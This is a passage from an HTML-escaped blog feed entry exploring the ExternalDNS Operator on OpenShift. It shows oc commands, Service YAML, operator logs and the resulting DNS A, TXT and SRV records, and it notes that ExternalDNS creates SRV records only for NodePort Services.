&lt;code&gt;Route&lt;/code&gt; object to the canonical DNS name of the ingress controller.
This isn’t the behaviour I’m looking for, so the rest of this
article focuses on the behaviour for &lt;code&gt;Service&lt;/code&gt; sources.&lt;/p&gt;
&lt;h2 id=&quot;creating-the-externaldns-controller&quot;&gt;Creating the ExternalDNS controller &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#creating-the-externaldns-controller&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now that we have defined an &lt;code&gt;ExternalDNS&lt;/code&gt; custom resource, let’s
create it and see what happens. I would like to watch the logs of
the ExternalDNS Operator during this operation.&lt;/p&gt;
&lt;p&gt;Earlier we saw that the name of the operator Pod is
&lt;code&gt;pod/external-dns-operator-594b465984-r2pc5&lt;/code&gt;. This Pod has two
containers:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json -n external-dns-operator \
    pod/external-dns-operator-594b465984-r2pc5 \
    | jq '.status.containerStatuses[].name'
&amp;quot;kube-rbac-proxy&amp;quot;
&amp;quot;operator&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The container named &lt;code&gt;operator&lt;/code&gt; is the one we are interested in.
We can watch its log output like so:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc logs -n external-dns-operator --tail 2 --follow \
    external-dns-operator-594b465984-r2pc5 operator
2022-03-22T04:41:06.625Z        INFO    controller-runtime.manager.controller.external_dns_controller   Starting workers        {&amp;quot;worker count&amp;quot;: 1}
2022-03-22T04:41:06.626Z        INFO    controller-runtime.manager.controller.credentials_secret_controller     Starting workers        {&amp;quot;worker count&amp;quot;: 1}
... (waiting for more output)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, in another terminal, create the &lt;code&gt;ExternalDNS&lt;/code&gt; CR object:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f externaldns-test.yaml
externaldns.externaldns.olm.openshift.io/test created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Log output shows the ExternalDNS Operator responding to the
appearance of the &lt;code&gt;externaldns/test&lt;/code&gt; CR:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;controller-runtime.webhook.webhooks     received request        {&amp;quot;webhook&amp;quot;: &amp;quot;/validate-externaldns-olm-openshift-io-v1alpha1-externaldns&amp;quot;, &amp;quot;UID&amp;quot;: &amp;quot;cf2fb876-9ddd-45a8-88b8-5cc0344fb5cc&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;externaldns.olm.openshift.io/v1alpha1, Kind=ExternalDNS&amp;quot;, &amp;quot;resource&amp;quot;: {&amp;quot;group&amp;quot;:&amp;quot;externaldns.olm.openshift.io&amp;quot;,&amp;quot;version&amp;quot;:&amp;quot;v1alpha1&amp;quot;,&amp;quot;resource&amp;quot;:&amp;quot;externaldnses&amp;quot;}}
validating-webhook      validate create {&amp;quot;name&amp;quot;: &amp;quot;test&amp;quot;}
controller-runtime.webhook.webhooks     wrote response  {&amp;quot;webhook&amp;quot;: &amp;quot;/validate-externaldns-olm-openshift-io-v1alpha1-externaldns&amp;quot;, &amp;quot;code&amp;quot;: 200, &amp;quot;reason&amp;quot;: &amp;quot;&amp;quot;, &amp;quot;UID&amp;quot;: &amp;quot;cf2fb876-9ddd-45a8-88b8-5cc0344fb5cc&amp;quot;, &amp;quot;allowed&amp;quot;: true}
external_dns_controller reconciling externalDNS {&amp;quot;externaldns&amp;quot;: &amp;quot;/test&amp;quot;}
…&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if we look in the &lt;em&gt;operand&lt;/em&gt; namespace (&lt;code&gt;external-dns&lt;/code&gt;) we see
a Pod running:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -n external-dns pod
NAME                                 READY   STATUS    RESTARTS   AGE
external-dns-test-865ffff756-45d44   1/1     Running   0          54s&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if you want to see what an ExternalDNS &lt;em&gt;controller&lt;/em&gt; is up to,
you can watch its logs:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc logs -n external-dns --tail 1 --follow \
    pod/external-dns-test-865ffff756-45d44
time=&amp;quot;2022-03-23T12:26:18Z&amp;quot; level=info msg=&amp;quot;All records are already up to date&amp;quot;
... (waiting for more output)&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;observing-record-creation&quot;&gt;Observing record creation &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#observing-record-creation&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After creating the ExternalDNS instance, I found Google Cloud DNS
zone for my cluster and queried its records. How to interact with
the cloud provider depends on which cloud provider the cluster is
hosted on, so I won’t provide details. The existing records are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  NS    21600  ns-gcp-private.googledomains.com.
ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  SOA   21600  ns-gcp-private.googledomains.com.
api.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  A     60     10.0.0.2
api-int.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  A     60     10.0.0.2
*.apps.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  A     30     35.223.148.37&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;This is a &lt;em&gt;private&lt;/em&gt; zone specific to my cluster. Some non-routable
addresses appear. I haven’t figured out how to update the records
in the public zone yet. I’m confident this is not a problem with
ExternalDNS. Rather, I put it down to my lack of familiarity with
how to configure it, and with Google Cloud DNS.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;We can see that in addition to the expected &lt;code&gt;NS&lt;/code&gt; and &lt;code&gt;SOA&lt;/code&gt; records,
there are &lt;code&gt;A&lt;/code&gt; records for the API server and a wildcard &lt;code&gt;A&lt;/code&gt; record
for the main ingress controller.&lt;/p&gt;
&lt;p&gt;Next I create the following Service:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb14&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb14-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo-tcp&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; LoadBalancer&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; tcpecho&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; TCP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;12345&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note that it has the &lt;code&gt;app: echo&lt;/code&gt; label and has &lt;code&gt;type: LoadBalancer&lt;/code&gt;,
satisfying the match criteria of the &lt;code&gt;externaldns/test&lt;/code&gt; controller.
Create the service and observe its public IP address:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f service-echo.yaml
service/echo-tcp created

% oc get service/echo-tcp \
    -o jsonpath='{.status.loadBalancer}'
{&amp;quot;ingress&amp;quot;:[{&amp;quot;ip&amp;quot;:&amp;quot;35.188.22.139&amp;quot;}]}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After creating the Service, two new records appeared in the zone:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo-tcp.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  A     300    35.188.22.139
external-dns-echo-tcp.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com.
  TXT   300    &amp;quot;heritage=external-dns,external-dns/owner=external-dns-test,external-dns/resource=service/test/echo-tcp&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;A&lt;/code&gt; record resolves the DNS name to the load balancer’s IP
address. Nothing surprising here.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;TXT&lt;/code&gt; record is the for the name &lt;code&gt;external-dns-echo-tcp.…&lt;/code&gt; and
contains some metadata about the “owner” of the corresponding &lt;code&gt;A&lt;/code&gt;
record. Specifically, it identifies the Service object that is the
&lt;em&gt;source&lt;/em&gt; of the record. I am not 100% sure, but it seems to also
contain information about the ExternalDNS controller that created
the record.&lt;/p&gt;
&lt;p&gt;When I first saw the TXT records, I theorised that the ExternalDNS
controller uses the TXT records to find “obsolete” records and
delete them. This would occur, for example, when the Service is
deleted. Indeed, deleting &lt;code&gt;service/echo-tcp&lt;/code&gt; resulted in the
removal of both the &lt;code&gt;A&lt;/code&gt; and &lt;code&gt;TXT&lt;/code&gt; records.&lt;/p&gt;
&lt;h2 id=&quot;srv-records-for-loadbalancer-services&quot;&gt;SRV records for &lt;code&gt;LoadBalancer&lt;/code&gt; Services &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#srv-records-for-loadbalancer-services&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kubernetes’ internal DNS system follows a &lt;a href=&quot;https://github.com/kubernetes/dns/blob/master/docs/specification.md&quot;&gt;DNS-based service
discovery&lt;/a&gt; specification. In addition to &lt;code&gt;A&lt;/code&gt;/&lt;code&gt;AAAA&lt;/code&gt;
records, &lt;code&gt;SRV&lt;/code&gt; records are created to locate service endpoints (port
and target DNS name) based on service name and transport protocol
(TCP or UDP). SRV records are an important part of several
protocols as used in the real world, including Kerberos, SIP, LDAP
and XMPP. &lt;code&gt;SRV&lt;/code&gt; records have the following shape:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_&amp;lt;service&amp;gt;._&amp;lt;proto&amp;gt;.&amp;lt;domain&amp;gt; &amp;lt;ttl&amp;gt;
    &amp;lt;class&amp;gt; SRV &amp;lt;priority&amp;gt; &amp;lt;weight&amp;gt; &amp;lt;port&amp;gt; &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A record to locate an organisation’s LDAP server might look like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_ldap._tcp.example.net 300
    IN SRV 10 5 389 ldap.corp.example.net&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Although the current system has a critical deficiency for
applications that use SRV records and operate on both TCP and UDP
(see my &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/2020-12-08-k8s-srv-limitation.html&quot;&gt;previous blog post&lt;/a&gt;)
for most applications it works well. Unfortunately, ExternalDNS
does not follow the DNS spec and does not create SRV records for
Services.&lt;/p&gt;
&lt;p&gt;I am not sure why this is the case. Perhaps ExternalDNS even
pre-dates the SRV aspects of the Kubernetes DNS specification. Or
the need might not have been recognised or deemed sufficiently
critical to address this gap.&lt;/p&gt;
&lt;p&gt;As it happens, there is &lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns/pull/1330&quot;&gt;an abandoned pull request&lt;/a&gt; from two years
ago that sought to add SRV record generation to ExternalDNS and
bring it in line with the spec. The maintainers seemed receptive,
but the PR author no longer needed the feature and closed it. So I
think there is reason to hope that the feature might eventually make
it into ExternalDNS. Perhaps our team will drive it… we need SRV
records, and it would probably be better to enhance ExternalDNS than
to build our own solution from scratch.&lt;/p&gt;
&lt;h2 id=&quot;srv-records-for-nodeport-services&quot;&gt;SRV records for &lt;code&gt;NodePort&lt;/code&gt; services &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#srv-records-for-nodeport-services&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I said that ExternalDNS does not support SRV records, but there is
one exception to that. ExternalDNS &lt;em&gt;does&lt;/em&gt; create SRV records for
Services of &lt;code&gt;type: NodePort&lt;/code&gt;. This is not an appropriate solution
for our application, but we can still play with it and get a feel
for how it might work similarly for &lt;code&gt;LoadBalancer&lt;/code&gt; Services.&lt;/p&gt;
&lt;p&gt;First, we have to modify &lt;code&gt;externaldns/test&lt;/code&gt; to add &lt;code&gt;NodePort&lt;/code&gt; to the
list of Service types. Update &lt;code&gt;externaldns-test.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb19&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb19-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb19-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;…&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb19-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb19-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb19-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb19-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;serviceType&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb19-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb19-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; LoadBalancer&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb19-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb19-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; NodePort&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb19-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb19-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;…&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And apply updated configuration:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc replace -f externaldns-test.yaml
externaldns.externaldns.olm.openshift.io/test replaced&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now create a new &lt;code&gt;NodePort&lt;/code&gt; Service. &lt;code&gt;service-nodeport.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb21&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb21-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nodeport&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; NodePort&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; nodeport&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; TCP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb21-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb21-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;12345&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f service-nodeport.yaml
service/nodeport created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The ExternalDNS controller log output shows it generating an &lt;code&gt;SRV&lt;/code&gt;
record for the Service (wrapped for clarity):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;…
time=&amp;quot;…&amp;quot; level=debug msg=&amp;quot;Endpoints generated from service:
default/nodeport:
[ _nodeport._tcp.nodeport.ci-ln-8hkfrzk-72292.origin-ci-int-gce.dev.rhcloud.com 0
    IN SRV  0 50 30632
    nodeport.ci-ln-8hkfrzk-72292.origin-ci-int-gce.dev.rhcloud.com []
  nodeport.ci-ln-8hkfrzk-72292.origin-ci-int-gce.dev.rhcloud.com 0
    IN A  10.0.0.4;10.0.0.5;10.0.128.3;10.0.128.2;10.0.128.4;10.0.0.3 []
]&amp;quot;
…&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately, the &lt;code&gt;SRV&lt;/code&gt; record didn’t actually make it to the
Google Cloud DNS zone. I haven’t worked out why, yet. The &lt;code&gt;A&lt;/code&gt;
record does get created; it’s only the &lt;code&gt;SRV&lt;/code&gt; record that is missing.
I’ll update this article if/when I work out why the &lt;code&gt;SRV&lt;/code&gt; record
goes.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#conclusion&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The ExternalDNS system is intended to automatically manage public
DNS records for Kubernetes-hosted applications. It can
automatically create &lt;code&gt;CNAME&lt;/code&gt; records for OpenShift Routes and
&lt;code&gt;A&lt;/code&gt;/&lt;code&gt;AAAA&lt;/code&gt; records for Services, including &lt;code&gt;LoadBalancer&lt;/code&gt; services.
For applications that use &lt;code&gt;A&lt;/code&gt;/&lt;code&gt;AAAA&lt;/code&gt; and &lt;code&gt;CNAME&lt;/code&gt; records, it works
well.&lt;/p&gt;
&lt;p&gt;Unfortunately, &lt;code&gt;SRV&lt;/code&gt; records are not well supported. Certainly, it
